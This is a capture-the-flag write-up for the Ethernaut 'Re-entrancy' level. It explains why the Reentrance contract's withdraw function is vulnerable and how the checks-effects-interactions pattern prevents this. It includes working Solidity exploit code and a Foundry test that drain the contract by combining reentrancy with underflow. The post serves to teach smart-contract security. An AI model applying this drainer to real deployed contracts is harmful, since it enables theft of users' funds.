The Ethernaut Challenge #10 Solution — Re-entrancy

7 min readJul 19, 2022

This is Part 10 of the “Let’s play OpenZeppelin Ethernaut CTF” series, where I will explain how to solve each challenge.

The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin. Each level is a smart contract that needs to be ‘hacked’. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.

Challenge #10: Re-entrancy

The goal of this level is for you to steal all the funds from the contract. Things that might help:
- Untrusted contracts can execute code where you least expect it.
- Fallback methods
- Throw/revert bubbling
- Sometimes the best way to attack a contract is with another contract.
- See the Help page above, section “Beyond the console”
Level author: Alejandro Santander

To solve this challenge, we must steal all the funds from the contract.

Study the contracts

The Reentrance contract is a basic contract that allow users to donate ETH to a specific address. That user can come in a later moment and withdraw the donation he/she has received.

Let’s review the contracts code.

State variables

mapping(address => uint) public balances used to store the user's balance to know the amount they can withdraw

Constructor

This contract has no constructor

`donate`

The donate function allows the msg.sender to donate some ETH to another address. The function uses SafeMath for the add operation, but it is safe to say that it would probably never overflow.

function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
}

There is no specific check on the receive and this can allow some weird interaction like for example:

Donate to the contract itself. This would make those funds locked forever.
Donate to the address(0). This would make those funds locked forever.
Donate to the msg.sender itself. This is just weird, but later the user would be able to retrieve the funds by calling withdraw

`balanceOf`

This function allows querying the balances mapping variable to know the amount of ETH donated to a specific address.

function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
}

Nothing special to see here.

`receive`

This is the function that allow the contract to receive arbitrary amount of ETH.

receive() external payable {}

Honestly, I don’t see a valid reason to have this function. This function can only create problems for the end user, who is allowed to send funds to the contract that cannot be withdrawn at a later moment because they are not tracked by the balances variable.

`withdraw`

This is the function we need to pay attention to solve the challenge. Let’s see the code and review how it works:

function withdraw(uint256 _amount) public {
    if (balances[msg.sender] >= _amount) {
        (bool result, ) = msg.sender.call{value: _amount}("");
        if (result) {
            _amount;
        }
        balances[msg.sender] -= _amount;
    }
}

The function check that the msg.sender has enough balance to withdraw _amount of Ether
It proceeds to send the requested _amount via a low-level call function that will use all the remaining gas to execute the operation
I'll be honest, I don't know what the code inside the if statement do :D This is an old style of code that probably is not available anymore in Solidity 8.0. If you know what it does, send me a tweet
It updates the balance of the msg.sender decreasing the amount

I can see two big problems here!

The contract uses the Solidity version < 8.0 and this mean that every math operation could suffer from underflow/overflow attacks. The contract also use SafeMath for uint256 and for example in the donate function this problem does not exist. But in withdraw they do not use it when the function updates the final balance of the sender. The reason to not use it would be that the contract know for sure (under normal circumstances) that it cannot underflow because of the if (balances[msg.sender] >= _amount) check.

Let’s remember this thing and see the other problem.

The second one is introduced because the contract does not follow the Checks-Effects-Interactions Pattern. What does it mean? Quoting directly from the Solidity Documentation:

Most functions will first perform some checks (who called the function, are the arguments in range, did they send enough Ether, does the person have tokens, etc.). These checks should be done first. As the second step, if all checks passed, effects to the state variables of the current contract should be made. Interaction with other contracts should be the very last step in any function.

In practice, what you should always do (if applicable):

Perform all the checks needed
Perform all the state updates needed
Emit any event needed
Only after all these things perform the needed external call

By not following the Checks-Effects-Interactions Pattern and not using any Reentrancy Guard (like OpenZeppelin: ReentrancyGuard) this function is prone to a Reentrancy Attack.

What does this mean? In just two words, it means that the attacker can re-enter the same function (or another function of your contract) and re-execute it again, but with the state variables of the contract not correctly updated as if they would have been if the function had been fully executed.

If you want to know more about this type of attack and how to prevent it, I highly suggest you to read all the resources I have collected in the Further reading section of the blog post.

Now returning to our challenge. Let’s see how we can leverage these two problems, and I’ll give you two alternative solutions to solve it.

When the contract executes msg.sender.call{value: _amount}("") and send to msg.sender the amount withdrawn, we can have two scenarios:

The msg.sender is an EOA (externally owned account), nothing special here the account receive the amount of Ether specified in the value field
The msg.sender is a Contract. The value is sent to the contract and the fallback or receive function is executed.

If we are in the second case, the Contract has all the remaining gas of the transaction to be used to execute its code (unless you specifics a limit inside the call parameters).

Inside the fallback or receive you can execute arbitrary code (if it does not consume all the gas left) and in this case, we are going to leverage the reentrancy exploit

To understand how the reentrancy works, let’s make an example

Reentrance contract has 0.001 ether deposited into it
We have a custom contract with the address attackerContractAddress
We call reentranceContract.donate(attackerContractAddress) sending 0.0001 Ether
We call reentranceContract.withdraw(0.0001 ether)
The contract check if we have enough balance
The contract send back 0.0001 ether by calling msg.sender.call{value: 0.0001 ether}("") and our AttackerContract receive function is executed

What would happen if, inside our receive function, we call again reentranceContract.withdraw(0.0001 ether)?

In this specific point in time the value of balances[msg.sender] would still be 0.0001 ether because the balances[msg.sender] -= _amount; has not been executed yet!

Exploit Option 1, The lazy and not smart one: Exploit Reentrancy In a Loop

If funds are not a problem, we could send 0.001 ether / 100 via the donate function and re-enter the withdraw function 100 times + the initial call.

0.001 ether / 100 is just an arbitrary value, we need to just be sure that we do not consume too much gas when re-entering the withdraw function otherwise the transaction would revert because of Out of Gas exception.

Exploit Option 2, The cleaver way: Exploit Reentrancy and Underflow

This solution is much more elegant, and it exploits two different problems: Reentrancy and Underflow!

We already know about the reentrancy problem, and we said that the underflow of the operation balances[msg.sender] -= _amount "normally" would have been protected by the balances[msg.sender] >= _amount because even if this operation does not use SafeMath, there would be no way to underflow if we know for sure that at max the balances[msg.sender] could go zero.

But because we can re-enter we can execute twice the same balances[msg.sender] -= _amount operation, so our balance the first time would go to zero, but the second time would go to type(uint256).max because of the underflow!

At this point, we would be able to callwithdraw withdrawing the whole amount of Ether stored in the victim's contract!

Note: this second solution is only possible because of underflow. If the underflow problem wasn’t there, we would be still able to solve the challenge via the Reentrancy loop solution.

Solution code

Let’s review the second solution. Here’s the code of the contract you need to deploy to use both Reentrancy and Underflow

contract ExploiterUnderflow {
    Reentrance private victim;
    address private owner;
    uint256 private initialDonation;
    bool private exploited;    constructor(Reentrance _victim) public {
        owner = msg.sender;
        victim = _victim;
        exploited = false;
    }    function withdraw() external {
        uint256 balance = address(this).balance;
        (bool success, ) = owner.call{value: balance}("");
        require(success, "withdraw failed");
    }    function exploit() external payable {
        require(msg.value > 0, "donate something!");
        initialDonation = msg.value;        // donate 1 wei to ourself
        victim.donate{value: msg.value}(address(this));        // withdraw 1 way and trigger the re-entrancy exploit
        victim.withdraw(initialDonation);        // because the victim contract underflowed our balance
        // we are now able to drain the whole balance of the contract
        victim.withdraw(address(victim).balance);
    }    receive() external payable {
        // We need to re-enter only once
        // By re-entering our new balance will be equal to (2^256)-1
        if (!exploited) {
            exploited = true;            // re-enter the contract withdrawing another wei
            victim.withdraw(initialDonation);
        }
    }
}

And here’s the code to execute it

function exploitLevel() internal override {
    vm.startPrank(player, player);    // Balance of player before
    uint256 playerBalance = player.balance;
    uint256 levelBalance = address(level).balance;    // Exploit by using a mix of reentrancy and underflow
    // Deploy our exploiter contract
    ExploiterUnderflow exploiter = new ExploiterUnderflow(level);
    // start the exploit
    exploiter.exploit{value: 1}();
    // withdraw all the funds
    exploiter.withdraw();    // check that the victim has no more ether
    assertEq(address(level).balance, 0);    // check that the player has all the ether present before in the victim contract
    assertEq(player.balance, playerBalance + levelBalance);    vm.stopPrank();
}

You can read the full solution of the challenge opening Reentrance.t.sol

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IN PRODUCTION.